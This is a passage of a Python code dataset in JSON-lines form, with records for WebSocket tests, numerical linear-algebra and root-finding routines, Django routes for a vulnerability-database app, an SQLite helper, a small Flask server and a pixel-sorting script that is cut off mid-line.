data=self.simpleData*22000,\n method=WebSocketClient.writeBinary)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.check_response)\n\n\nclass CrontrolFrames(ClientTestCase):\n def test_SimplePing(self):\n self.factory.expectedResponses = 2\n self.factory.expectedPongs = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send)\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n method=WebSocketClient.sendPing)\n self.factory.connectionEstablishedDeferred.addCallback(self.send)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection)\n\n def test_longControlFrame(self):\n \"\"\"\n The connection is dropped when a control frame with a payload longer\n than 126 is sent\n \"\"\"\n self.factory.expectedResponses = 1\n self.factory.expectedPongs = 0\n self.factory.connectionEstablishedDeferred.addCallback(self.send)\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n data=self.simpleData*200,\n method=WebSocketClient.sendPing)\n self.factory.connectionEstablishedDeferred.addCallback(self.send)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection)\n\n\nclass Fragmentation(SimpleFrames):\n \"\"\"\n Tests for L{WebSocketClient}.\n \"\"\"\n ServerHandlerClass = TestFragmentedHandler\n fragment = 977\n\n def check_response(self, _):\n self.assertEqual(\"\".join(self.factory.fragments), self.sent_data)\n self.assertEqual(self.factory.client.subprotocol, None)\n\n\nclass BadURL(ClientTestCase):\n def setUp(self):\n self.site = WebSocketSite(Resource())\n self.site.addHandler(\"/bar\", TestHandler)\n self.p = reactor.listenTCP(0, self.site,\n interface=\"127.0.0.1\")\n\n def tearDown(self):\n self.p.stopListening()\n\n def got_response(self, response):\n self.assertIsInstance(response, HandshakeResponseError)\n self.assertEqual(response.args[0], 'HTTP/1.1 404 Not Found')\n\n def test_BadURL(self):\n url = 'ws://localhost:%d/bogus' % self.p.getHost().port\n self.factory = TestClientFactory(url)\n self.factory.handshakeErrorDeferred.addCallback(self.got_response)\n reactor.connectTCP(\"127.0.0.1\", self.p.getHost().port, self.factory)\n return self.factory.handshakeErrorDeferred\n\n\n\nclass NoConnection(ClientTestCase):\n portNumber = 12345\n def setUp(self):\n ## Assume that there is no server on port 12345\n url = 'ws://localhost:%d/bar' % self.portNumber\n self.factory = TestClientFactory(url)\n ## self.disconnection is the deferred usually returned by test cases\n point = TCP4ClientEndpoint(reactor, \"localhost\", self.portNumber)\n self.connection_deferred = point.connect(self.factory)\n\n def tearDown(self):\n pass\n\n def noConnection(self, reason):\n self.assertIsInstance(reason.value, error.ConnectionRefusedError)\n\n def test_NoConnection(self):\n self.connection_deferred.addErrback(self.noConnection)\n return self.connection_deferred\n\n\nclass SubProtocol(ClientTestCase):\n def setUp(self):\n self.site = WebSocketSite(Resource())\n self.site.addHandler(\"/bar\", TestHandlerWithSubProtocols)\n self.p = reactor.listenTCP(0, self.site,\n interface=\"127.0.0.1\")\n\n def tearDown(self):\n self.p.stopListening()\n\n def roadrunner(self):\n pass\n\n def beepbeep(self):\n pass\n\n def test_AcceptSubProtocol(self):\n def got_connection(response):\n self.assertEqual(self.factory.client.subprotocol,\n self.beepbeep)\n self.factory.client.close()\n\n url = 'ws://localhost:%d/bar' % self.p.getHost().port\n self.factory = TestClientFactory(url,\n subprotocolsAvailable= \\\n {'roadrunner.acme.com': self.roadrunner,\n 'beepbeep.acme.com': self.beepbeep})\n self.factory.connectionEstablishedDeferred.addCallback(got_connection)\n\n reactor.connectTCP(\"127.0.0.1\", self.p.getHost().port, self.factory)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection)\n\n def test_RefuseSubProtocol(self):\n def got_response(response):\n self.assertIsInstance(response, HandshakeResponseError)\n self.assertEqual(response.args[0],\n 'HTTP/1.1 400 Unhandled subprotocol')\n\n self.trace_lost_connection = lambda _: None\n url = 'ws://localhost:%d/bar' % self.p.getHost().port\n self.factory = TestClientFactory(url, subprotocolsAvailable= \\\n {'bogus.acme.com': None,\n 'bogos.acme.com': None})\n self.factory.handshakeErrorDeferred.addCallback(got_response)\n reactor.connectTCP(\"127.0.0.1\", self.p.getHost().port, self.factory)\n return self.factory.handshakeErrorDeferred\n\n\nclass Extensions(ClientTestCase):\n def setUp(self):\n self.site = WebSocketSite(Resource())\n self.site.addHandler(\"/bar\", TestHandlerWithExtensions)\n self.p = reactor.listenTCP(0, self.site,\n interface=\"127.0.0.1\")\n\n def tearDown(self):\n self.p.stopListening()\n\n\n def test_refuseExtensions(self):\n \"\"\"\n Test that the connection is accepted even when the extention\n proposed by the client is not\n by the server, and that the extension is not selected.\n \"\"\"\n def got_connection(response):\n self.assertEqual(self.factory.client.extensions, [])\n self.factory.client.close()\n\n url = 'ws://localhost:%d/bar' % self.p.getHost().port\n self.factory = TestClientFactory(url, extensionsAvailable= \\\n [RoadRunnerExtension()])\n self.factory.connectionEstablishedDeferred.addCallback(got_connection)\n reactor.connectTCP(\"127.0.0.1\", self.p.getHost().port, self.factory)\n\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection)\n\n\n def test_acceptExtensions(self):\n \"\"\"\n Test that the connection is accepted when at least one extension\n is accepted.\n Also, test that the parameters are duely selected.\n \"\"\"\n def got_connection(response):\n self.assertEqual(len(self.factory.client.extensions), 1)\n self.assertIsInstance(self.factory.client.extensions[0],\n ZipExtension)\n self.assertEqual(self.factory.client.extensions[0].params,\n {'arg1': 'foo', 'arg2': 'bar'})\n self.factory.client.close()\n\n url = 'ws://localhost:%d/bar' % self.p.getHost().port\n self.factory = TestClientFactory(url, extensionsAvailable= \\\n [RoadRunnerExtension(),\n ZipExtension(params={'arg1':'foo', 'arg2':'bar'})\n ])\n self.factory.connectionEstablishedDeferred.addCallback(got_connection)\n\n reactor.connectTCP(\"127.0.0.1\", self.p.getHost().port, self.factory)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection)\n\n\n def test_processExtension(self):\n \"\"\"\n Test the processing of the selected extensions\n \"\"\"\n def send(_):\n self.factory.expectedResponses = 1\n self.sent_data = self.simpleData*100\n self.factory.client.write(self.sent_data)\n self.factory.client.write(\"END\")\n\n url = 'ws://localhost:%d/bar' % self.p.getHost().port\n self.factory = TestClientFactory(url,\n extensionsAvailable=[ZipExtension()])\n self.factory.connectionEstablishedDeferred.addCallback(send)\n\n reactor.connectTCP(\"127.0.0.1\", self.p.getHost().port, self.factory)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.checkResponse)\n\n\n def checkResponse(self, _):\n self.assertEqual(self.factory.frames[0], self.sent_data)\n\n","sub_path":"tests/test_websocketClient.py","file_name":"test_websocketClient.py","file_ext":"py","file_size_in_byte":19917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"439900957","text":"import sys\nfrom sariFieldDefinitionsGenerator import generator\n\ninputFile = 'fieldDefinitions.yml'\noutputFile = '../data/templates/http%3A%2F%2Fpage-module.performing-arts.ch%2FFieldDefinitions.html'\n\ndef addLocalisation(jsonString, bundle):\n import re\n\n def replaceWithLocalised(match):\n key = \"field_\" + re.sub(r'[\\W\\s]', '_', match.group(1)).lower()\n return '\"label\": \"[[i18n \"' + key + '\" bundle=\"' + bundle + '\"]]\"'\n\n pattern = r'\"label\": \"(.*)\"'\n return re.sub(pattern, replaceWithLocalised, jsonString)\n\n\nmodel = generator.loadSourceFromFile(inputFile)\n\noutput = generator.generate(model, generator.INLINE)\noutput = addLocalisation(output, 'sapa-fields')\n\nwith open(outputFile, 'w') as f:\n f.write(output)","sub_path":"src/compileFieldDefinitions.py","file_name":"compileFieldDefinitions.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"636425429","text":"import numpy as np\nimport sys \nimport os\n\nimport bisect #spline interpolation need\n\ndef norm1(n, x) :\n \n return np.sum(np.abs(x))\n\ndef norm2(n, x) :\n\n return np.sqrt(x @ x)\n\ndef normInf(n, x) : \n\n return np.abs(x).max()\n\ndef luFact(n, A) : #(dimension, target matrix)\n\n U = A.copy() #copy the matrix A as U\n L = np.array(np.identity(n)) #let the matrix L be the identity matrix\n #accroding to the format of L\n\n\n for i in range(n): #for every row in the matrix\n for k in range(i+1, n) : #for each element in the given row\n c = - (float(U[k, i])/U[i, i]) #take the ration of the diagonal element\n U[k, i:] = U[k, i:] + c*U[i, i:] #do the addition in the row element in U\n L[k:, i] = L[k:, i] - c*L[k:, k] #do the subtraction in the row element in L\n\n return L, U\n\ndef fwdSubs(n, A, b) : #forward substitution\n \n b = np.array(b) #declare the data type as array\n\n y = b.copy() #copy the matrix b\n L = luFact(n, A)[0] #call the matrix L\n\n for i in range(n) : #for every element in the matrix b (i-th row in matrix L)\n for k in range(0, i) : #for every element i-th row \n y[i] = y[i] - L[i, k]*y[k] #subtraction \n\n \n return y\n\ndef bwdSubs(n, A, y) :\n\n y = np.array(y) #declare the data type as array\n\n x = y.copy() #copy the matrix y\n U = luFact(n, A)[1] #call the matrix U\n\n for i in range(n-1, -1, -1) : #for every element in the matrix b (i-th row in matrix L)\n #-1 : the backward operation \n for k in range(n-1, i, -1) : #for every element i-th row\n x[i] -= U[i, k]*x[k] #subtraction\n\n x[i] = float(x[i])/U[i, i] #division to the diagonal element\n\n return x\n\ndef linSol(n, A, b) :\n\n y = fwdSubs(n, A, b)\n x = bwdSubs(n, A, y)\n\n return x\n\ndef Gram_Schimdt(A) :\n m, n = A.shape\n G = np.copy(A)\n G[:, 0] = G[:, 0]/(norm2(n, G[:, 0]))\n\n for k in range(1,n) :\n for i in range(k-1):\n G[:, k] = G[:, k] - (np.dot(G[:, k], G[:, i])*G[:, i])/(np.dot(G[:, i], G[:, i]))\n \n G[:, k] = G[:, k]/(norm2(n, G[:, k]))\n\n\n return G\n\ndef Jacobi(n, A, b, maxIter = 10**6, tol = 10**(-7), enorm = norm2) :\n\n x = np.zeros(n) #initial value of x\n x_tmp = x.copy() #copy\n answer = list([False]) #set the return value \n\n D = np.diag(A) #extract the diagonal elements\n R = A - np.diagflat(D) #subtract the input matrix A by the diagonal elements\n\n for itr in range(maxIter) :\n\n for i in range(n) :\n x_tmp[i] = (b[i] - R[i, :] @ x)/D[i] #computing process\n\n error = enorm(n, x_tmp - x) #computing the error\n\n if(error < tol) : #convergence reaches\n answer[0] = True \n answer.append(x_tmp)\n break\n \n else : #renew the matrix x \n x = np.copy(x_tmp)\n pass\n\n\n return answer\n\ndef GS(n, A, b, maxIter = 10**6, tol = 10**(-7), enorm = norm2): # Gauss-Seidel \n\n x = np.zeros(n) #initial value of x\n x_tmp = np.copy(x) #copy\n answer = list([False]) #set the return value as False initially\n\n D = np.diag(A) #extract the diagonal elements\n R = A - np.diagflat(D) #subtract the input matrix A by the diagonal elements\n\n for iter in range(maxIter) :\n\n for i in range(n) : #computing process\n sigma = 0 \n\n for j in range(i):\n sigma += R[i, j]*x_tmp[j]\n for j in range(i+1, n):\n sigma += R[i, j]*x[j]\n \n x_tmp[i] = (b[i] - sigma)/D[i]\n\n error = enorm(n, x_tmp - x) #computing the error\n \n if(error < tol) : #convergence reaches\n answer[0] = True\n answer.append(x_tmp)\n break\n \n else :\n x = np.copy(x_tmp) #renew the matrix x\n pass\n\n return answer\n\ndef SGS(n, A, b, maxIter = 10**6, tol = 10**(-7), enorm = norm2): \n\n x = np.zeros((n,)) #initial value of x\n x_tmp = np.copy(x) #copy\n answer = list([False]) #set the return value as False initially\n\n\n for iter in range(maxIter) :\n \n for i in range(n) : #computing process : forward SGS\n m = x * A[i, :]\n sigma = np.sum(m)\n sigma -= m[i]\n x_tmp[i] = (b[i] - sigma)/A[i][i]\n\n for i in reversed(range(n)) :\n m = x * A[i, :]\n sigma = np.sum(m)\n sigma -= m[i]\n x_tmp[i] = (b[i] - sigma)/A[i][i]\n\n error = enorm(n, x_tmp - x) #computing the error\n \n if(error < tol) : #convergence reaches\n answer[0] = True\n answer.append(x_tmp)\n break\n \n else :\n x = np.copy(x_tmp) #renew the matrix x\n pass\n\n return answer\n\ndef CG(n, A, b, maxIter = 10**6, tol = 10**(-7)): #Conjugate Gradient Decend\n\n ans = list([False]) #assume the convergence as 'false'\n\n #initial condition\n x = np.zeros((n,)) #initial condition\n r = b - A @ x #calculate r0\n p = np.copy(r) #equality\n nold = np.dot(r, r) #calculate the initial norm\n\n iter = 0 #denote the iteration time\n\n for iter in range(maxIter) : #\n Ap = A @ p #computing A times p ar first\n alpha = nold/(np.dot(p, Ap)) #computing alpha\n x = x + alpha * p #renew x\n r = r - alpha * Ap #renew r\n nnew = np.dot(r, r) #computing new norm\n err = np.sqrt(nnew/n) #computing the error\n\n if err < tol :\n ans[0] = True #if the condition reaches\n ans.append(iter+1) #append the total iteration time\n ans.append(x) #append the final solution\n #the foramt assigned by the instruction\n break #convergence reached\n\n p = r + (nnew/nold)*p #renew p\n nold = nnew #renew norm\n\n\n return ans #return final answer\n\ndef QR(n, A) :\n\n A = A.astype(float) #declare datatype\n Q = np.copy(A) #copy A to Q\n R = np.zeros((n, n)) #declare a zero matrix\n\n r00 = norm2(n, Q[:, 0]) #norm of column vector 0\n R[0, 0] = r00 #value assigned\n Q[:, 0] = Q[:, 0]/r00 #normalization\n\n for j in range(1, n) : # row loop\n\n for i in range(0, j) : \n rij = Q[:, i] @ Q[:, j] # inner product\n R[i, j] = rij # value assigned\n Q[:, j] = Q[:, j] - rij*Q[:, i] # value computing\n \n\n rjj = norm2(n, Q[:, j]) #take norm of the column vector j\n R[j, j] = rjj #value assigned\n Q[:, j] = Q[:, j]/rjj # normalization\n\n return Q, R\n\n\ndef Lagrange(x, xdata, ydata) : #(x-axis for fn generating, interpolation x, interpolation y)\n # len. xdata = len. ydata\n\n fi = np.zeros(len(x)) #initialize interpolation function\n\n for j in range(len(x)) :\n \n for i in range(len(xdata)) :\n L = 1\n\n for k in range(len(xdata)) :\n if i != k :\n L *= (x[j] - xdata[k])/(xdata[i] - xdata[k])\n\n fi[j] += ydata[i]*L\n\n\n return fi\n\n\ndef splineM(N, X, Y) :\n \n h = np.diff(X)\n\n\n mu = [h[i] / (h[i] + h[i + 1]) for i in range(N - 2)] + [0] #using the attribute of python list to generate mu\n mu = np.array(mu, dtype = float) #reform as numpy array\n twos = [2] * N #diagonal are 2s\n twos = np.array(twos, dtype = float)\n lam = [0] + [h[i + 1] / (h[i] + h[i + 1]) for i in range(N - 2)] #using the attribute of python list to generate lamda\n lam = np.array(lam, dtype = float) #reform as numpy array\n\n d = [0] + [6 * ((Y[i + 1] - Y[i]) / h[i] - (Y[i] - Y[i - 1]) / h[i - 1]) / (h[i] + h[i-1]) for i in range(1, N - 1)] + [0] ##using the attribute of python list to generate d\n \n lam_p = np.append(lam, float(0)) #append the boundary condition of lamda_n\n d_p = np.zeros((N, ), dtype= float) #declare the temporary vector d_p\n M = np.zeros((N, ), dtype= float) #declare the moment vector\n\n\n\n #Thomas algorithm process\n lam_p[0] = lam[0] / twos[0]\n d_p[0] = d[0] / twos[0]\n\n for i in range(1, N) :\n lam_p[i] = lam_p[i] / (twos[i] - lam_p[i - 1] * mu[i - 1])\n d_p[i] = (d[i] - d_p[i - 1] * mu[i - 1]) / (twos[i] - lam_p[i - 1] * mu[i - 1])\n\n M[-1] = d_p[-1]\n for i in range(N - 2, -1, -1):\n M[i] = d_p[i] - lam_p[i] * M[i + 1]\n\n return M\n\ndef spline(N, X, Y, M, x) :\n\n h = np.diff(X) #take the h\n\n coefficients = [[(M[i+1]-M[i])*h[i]*h[i]/6, M[i]*h[i]*h[i]/2, (Y[i+1] - Y[i] - (M[i+1]+2*M[i])*h[i]*h[i]/6), Y[i]] for i in range(N-1)] #using the attribute of python list to generate interpolation coefficients\n\n def polt_spline(val) : #define a function specified for the plotting process\n idx = min(bisect.bisect(X, val)-1, N-2) #search where the x value should be classified upon built-in binary search function \n z = (val - X[idx]) / h[idx] #assign a new variable for convenience\n C = coefficients[idx] #return the interpolation corresponding to the given index \n return (((C[0] * z) + C[1]) * z + C[2]) * z + C[3] #return the interpolation value\n\n return polt_spline #return the plot function as final output\n\n\n# **** Integral tools ****\n\ndef first_order_nt(Y, h) :\n\n w = np.array([1/2, 1/2])\n \n i = 0\n integral = 0\n while(i < len(Y) - 1) :\n integral += np.sum(Y[i:i+2] * w)\n i += 1\n\n integral *= h\n\n\n return integral\n\ndef second_order_nt(Y, h) :\n \n w = np.array([1/3, 4/3, 1/3])\n \n i = 0\n integral = 0\n while(i < len(Y) - 2) :\n integral += np.sum(Y[i:i+3] * w)\n i += 2\n\n integral *= h\n\n\n return integral\n\ndef third_order_nt(Y, h) :\n \n w = np.array([3/8, 9/8, 9/8, 3/8])\n \n i = 0\n integral = 0\n while(i < len(Y) - 3) :\n integral += np.sum(Y[i:i+4] * w)\n i += 3\n\n integral *= h\n\n\n return integral\n\ndef fourth_order_nt(Y, h) :\n \n w = np.array([14/45, 64/45, 24/45, 64/45, 14/45])\n \n i = 0\n integral = 0\n while(i < len(Y) - 4) :\n integral += np.sum(Y[i:i+5] * w)\n i += 4\n\n integral *= h\n\n\n return integral\n\ndef sixth_order_nt(Y, h) :\n\n w = np.array([41/140, 216/140, 27/140, 272/140, 27/140, 216/140, 41/140])\n \n i = 0\n integral = 0\n while(i < len(Y) - 6) :\n integral += np.sum(Y[i:i+7] * w)\n i += 6\n\n integral *= h\n\n\n return integral\n\n\n# *** polynomial roots ****\n\ndef derivatives(function, point) : \n\n h = 10 ** -12\n return (function(point + h) - function(point - h))/(2* h)\n\ndef chord(a, b, function, IterMax = 10 ** 6, epsilon = 10 ** -12) : \n\n k = 0\n err = 1 + epsilon\n x = b\n g = (function(b) - function(a))/(b - a)\n\n while k < IterMax and err > epsilon : \n x -= function(x)/g\n err = np.abs(function(x))\n\n k += 1\n\n return x\n\ndef regular_falsi(a, b, function, IterMax = 10 ** 6, epislon = 10 ** -12) : \n\n k = 0 \n err = 1 + epislon \n\n while k < IterMax and err > epislon :\n x = a - function(a) * ((b - a)/ (function(b) - function(a)))\n\n if function(x) * function(a) <= 0 : \n b = x\n else : \n a = x \n\n err = np.abs(function(x))\n k += 1\n\n return x\n\ndef secant(initial, x_0, function, IterMax = 10 ** 6, epislon = 10 ** -12) : #x_-1, x_0\n\n k = 0\n err = 1 + epislon\n\n x_m1 = initial\n x = x_0 \n\n while k < IterMax and err > epislon :\n x -= function(x)*((x - x_m1)/(function(x) - function(x_m1)))\n\n k += 1\n err = np.abs(function(x))\n\n return x\n\ndef Newton_root(x, function, IterMax = 10 ** 6, epsilon = 10** -12) :\n\n k = 0 \n err = 1 + epsilon\n\n while k < IterMax and err > epsilon : \n x -= (function(x))/(derivatives(function, x))\n\n k += 1\n err = np.abs(function(x))\n\n return x\n\ndef roots_sol(A, IterMax = 10 ** 6, epsilon = 10 ** -12) : # A : coefficient array of polynomial\n\n #coefficient permutation is a_0, a_1 ~ a_n (nth order polynomial)\n\n '''\n order of function = n \n len(A) = n - 1\n\n b : -1 ~ n-1 => len(b) = n + 2 for indexing \n c : -1 ~ n-2 => len(c) = n + 1 for indexing\n '''\n n = len(A) - 1 #order\n roots = list()\n b = np.empty((n + 2,), dtype = complex)\n c = np.empty((n + 1,), dtype = complex)\n x0 = np.max(np.abs(A)) + 1 #initial guess upon the Cauchy's rule\n\n x = x0\n\n while n >= 1 :\n\n err = 1 + epsilon \n k = 0 \n\n while err >= epsilon and k < IterMax :\n b[n] = A[n]\n c[n - 1] = b[n]\n\n for j in range(n - 1, -1, -1) : #(-1 ~ n-2) => (0 ~ n - 1)\n b[j] = A[j] + x * b[j + 1]\n for j in range(n - 2, -1, -1) : #(-1 ~ n-3) => (0 ~ n - 2)\n c[j] = b[j + 1] + x * c[j + 1]\n\n f = b[0]\n f_p = c[0]\n x -= f/f_p\n err = np.abs(f)\n k += 1\n \n roots.append(x)\n\n for i in range(n) : \n A[i] = b[i+1]\n\n x = roots[-1]\n \n\n n -= 1\n\n \n return roots\n\n\ndef Newton_N_dim(x0, IterMax = 10 ** 6, epsilon = 10 ** -12) :\n\n k = 0\n err = 1 + epsilon\n ''' \n vector of F and the derivative dF should be pre-defined in the main function\n \n\n '''\n\n x = x0\n #F = F_arr(x)\n #df = dF_mat(x)\n\n while k < IterMax and err > epsilon :\n\n x_diff = linSol(2, df, -F)\n x += x_diff\n F = F_arr(x)\n df = dF_mat(x)\n err = norm2(2, F)\n k +=1\n\n return x","sub_path":"midtern02/ee4070.py","file_name":"ee4070.py","file_ext":"py","file_size_in_byte":13355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"532974374","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n # 漏洞信息\n\n # 漏洞信息的查询、读取、添加、修改、删除\n path('query', views.query, name='edb_query'),\n # 通过 id 精确查询\n path('fetch', views.fetch, name='edb_fetch'),\n # 查找特定漏洞（oracle / ssh / 西门子）\n path('filter', views.filter, name='edb_filter'),\n # 模糊查询\n path('search', views.search, name='edb_search'),\n path('add', views.add, name='edb_add'),\n path('update', views.update, name='edb_update'),\n path('delete', views.delete, name='edb_delete'),\n path('query-type', views.query_type, name='edb_query_type'),\n path('query-platform', views.query_platform, name='edb_query_platform'),\n path('exportxls', views.export_excel, name='edb_export_excel'),\n path('max-id', views.max_id, name='edb_max_id'),\n\n # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n # 漏洞POC\n\n # 漏洞poc的查询、读取\n path('poc/query', views.poc_query, name='edb_poc_query'),\n # 通过 id 精确查询\n path('poc/fetch', views.poc_fetch, name='edb_poc_fetch'),\n path('poc/add', views.poc_add, name='edb_poc_add'),\n path('poc/update', views.poc_update, name='edb_poc_update'),\n path('poc/delete', views.poc_delete, name='edb_poc_delete'),\n # 模糊查询\n path('poc/search', views.poc_search, name='edb_poc_search'),\n path('poc/download', views.poc_download, name='edb_poc_download'),\n\n # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n # 漏洞统计\n path('stat/verified', views.stat_verified, name='edb_stat_verified'),\n path('stat/years', views.stat_years, name='edb_stat_years'),\n path('stat/platform', views.stat_platform, name='edb_stat_platform'),\n path('stat/type', views.stat_type, name='edb_stat_type'),\n]\n","sub_path":"edb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"255306697","text":"import sqlite3\nimport os\n\n\nclass DbSql:\n\n _fields = {'analyst': ['uuid', 'name', 'surname', 'category', 'time'],\n 'developer': ['uuid', 'name', 'surname', 'category', 'time', 'programming_language'],\n 'tester': ['uuid', 'name', 'surname', 'category', 'time', 'view']}\n\n def __init__(self):\n db = sqlite3.connect(os.path.join('data', 'asm1905', 'st11', 'db.sqlite'),\n detect_types=sqlite3.PARSE_DECLTYPES)\n db.execute(\n 'create table if not exists analyst(uuid text primary key, '\n 'name text, surname text, category integer, time text)')\n db.execute(\n 'create table if not exists developer(uuid text primary key, '\n 'name text, surname text, category integer, time text,'\n 'programming_language text)')\n db.execute(\n 'create table if not exists tester(uuid text primary key, '\n 'name text, surname text, category integer, time text,'\n 'view text)')\n db.commit()\n db.close()\n\n @staticmethod\n def get_all():\n db = sqlite3.connect(os.path.join('data', 'asm1905', 'st11', 'db.sqlite'),\n detect_types=sqlite3.PARSE_DECLTYPES)\n all_data = []\n for table_name in 'analyst', 'developer', 'tester':\n all_data.append(db.execute(f'select * from {table_name}').fetchall())\n db.close()\n return all_data\n\n @staticmethod\n def save_in_db(data, table_name='analyst'):\n db = sqlite3.connect(os.path.join('data', 'asm1905', 'st11', 'db.sqlite'),\n detect_types=sqlite3.PARSE_DECLTYPES)\n db.execute(f'insert into {table_name} values({\"?, \" * (len(data) - 1)}?)',\n (data))\n db.commit()\n db.close()\n\n @staticmethod\n def update_in_db(data, table_name='analyst'):\n db = sqlite3.connect(os.path.join('data', 'asm1905', 'st11', 'db.sqlite'),\n detect_types=sqlite3.PARSE_DECLTYPES)\n db.execute(f'update {table_name} set'\n f' {\"=?, \".join(DbSql._fields[table_name])}=? where uuid=?',\n (data))\n db.commit()\n db.close()\n\n @staticmethod\n def remove_from_db(uuid_, table_name='analyst'):\n db = sqlite3.connect(os.path.join('data', 'asm1905', 'st11', 'db.sqlite'),\n detect_types=sqlite3.PARSE_DECLTYPES)\n db.execute(f'delete from {table_name} where uuid=?', (uuid_,))\n db.commit()\n db.close()\n","sub_path":"app/asm1905/st11/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"128678195","text":"import jsbeautifier\nfrom src import func\n\npath = r\"../js\"\nopts = jsbeautifier.default_options()\nopts.indent_size = 2\n\nwith open(\"{}/draw.js\".format(path), \"r\", encoding=\"UTF-8\") as myfile:\n input_string = myfile.read()\n res = jsbeautifier.beautify(input_string, opts)\n\nfunc.write_to_file(\"{}/draw-bak.js\".format(path), input_string, append=False)\nfunc.write_to_file(\"{}/draw.js\".format(path), res, append=False)\n","sub_path":"src/js_beautifier.py","file_name":"js_beautifier.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"535456525","text":"\n\nfrom . import testing\n\n\nclass CrossSheetTest(testing.FunctionalTestCase):\n\n filename = \"cross_sheet.xlsx\"\n\n def test_reference(self):\n \"\"\"\n Tests if a reference to a cell on another sheet (Sheet1),\n which refers to a cell on it's own sheet (Sheet2) is resolved\n properly as being on Sheet2\n\n Also validates if after that passing in only \"A1\" refers back to\n Sheet1\n \"\"\"\n # This tests going back and forth between original Sheet1 and Sheet2\n # multiple times in different orders\n self.assertEqual(\n self.evaluator.evaluate('Sheet1!A4'),\n 5\n )\n","sub_path":"tests/test_crossrefs.py","file_name":"test_crossrefs.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"462323478","text":"#!/usr/bin/env python3\n\n# Main Flask components\nfrom flask import (Flask, # Flask itself\n render_template, # For rendering templates (clearly)\n request, # For accessing request data\n jsonify) # For sending a JSON request\nfrom flask_moment import Moment # For inserting current time into pages\n\napp = Flask(__name__)\nmoment = Moment(app)\n\nuserData = {}\n\n\n@app.route(\"/post\", methods=[\"POST\"])\ndef handle_post():\n data = dict(request.get_json())\n\n for key, value in data.items():\n userData[key] = value\n\n return jsonify({\n \"response\": \"resources created!\",\n \"resources\": userData\n }), 201\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5050, host=\"0.0.0.0\")\n","sub_path":"data/app/server-post.py","file_name":"server-post.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"467794917","text":"from pixelsort import pixelsort\nfrom PIL import Image\nfrom pathlib import Path\nfrom time import sleep\n\nfrom multiprocessing import Process, freeze_support\n\ndef main_prog():\n f_images = \"images\"\n i = \"squirrel.jpg\"\n #i = \"DSC04688_EDIT_1000.jpg\"\n p = Path()\n image_p_in = p / f_images / i\n\n\n mask_user_selection_options = [\"None\", \"Single\", \"Folder\"]\n mask_user_selection = \"Single\"\n mask_selected = \"squirrel_mask_Inverted.jpg\"\n\n\n f_masks = p / f_images / \"Masks\"\n p_masks = list(f_masks.glob(\"*.jpg\"))\n\n sort_settings_default = {\n \"mask_image\" : None, # None Default \n \"interval_image\" : None, # None Default\n \"randomness\": 0, # 0 Default\n \"clength\": 50, # 50 Default\n \"sorting_function\": \"lightness\", # \"lightness\" Default \n \"interval_function\": \"threshold\", # \"threshold\" Default\n \"lower_threshold\": 0.25, # .25 Default\n \"upper_threshold\": 0.8, # .8 Default\n \"angle\": 0 \n }\n\n sort_settings = {\n \"mask_image\" : None, # None Default \n \"interval_image\" : None, # None Default\n \"randomness\": 0, # 0 Default\n \"clength\": 250, # 50 Default\n \"sorting_function\": \"intensity\", # \"lightness\" Default \n \"interval_function\": \"random\", # \"threshold\" Default\n \"lower_threshold\": 0.4, # .25 Default\n \"upper_threshold\": 0.7, # .8 Default\n \"angle\": 270 # 0 Default\n #\"settings_changed_formatted\" : None # ADDED LATER\n }\n\n sort_settings_list = []\n\n if mask_user_selection == \"None\":\n p_masks = None\n sort_settings_list = [sort_settings.copy()]\n elif mask_user_selection == \"Single\":\n settings_with_mask = sort_settings.copy()\n settings_with_mask[\"mask_image\"] = p / f_images / \"Masks\" / mask_selected\n sort_settings_list.append(settings_with_mask)\n elif mask_user_selection == \"Folder\":\n for p_mask in p_masks:\n settings_with_mask = sort_settings.copy()\n settings_with_mask[\"mask_image\"] = p_mask\n sort_settings_list.append(settings_with_mask) \n else:\n print(\"error\")\n\n '''\n if not mask_user_selection in [\"Single\", \"Folder\"] or ([\"\", None] in p_masks and sort_settings[\"mask_image\"] == None):\n # Not using masks:\n p_masks = None\n sort_settings_list = [sort_settings]\n else:\n # Using mask(s):\n for p_mask in p_masks:\n settings_with_mask = sort_settings.copy()\n settings_with_mask[\"mask_image\"] = p_mask\n sort_settings_list.append(settings_with_mask)\n '''\n\n for settings in sort_settings_list:\n settings_changed = {}\n for s_name, s_df_val in sort_settings_default.items():\n s_val = settings[s_name] \n if s_val != s_df_val:\n if s_name == \"mask_image\":\n try:\n s_val = s_val.stem\n except:\n s_val = \"error\" \n print(f\"{s_name} set to {s_val} (from {s_df_val}).\")\n settings_changed[s_name] = 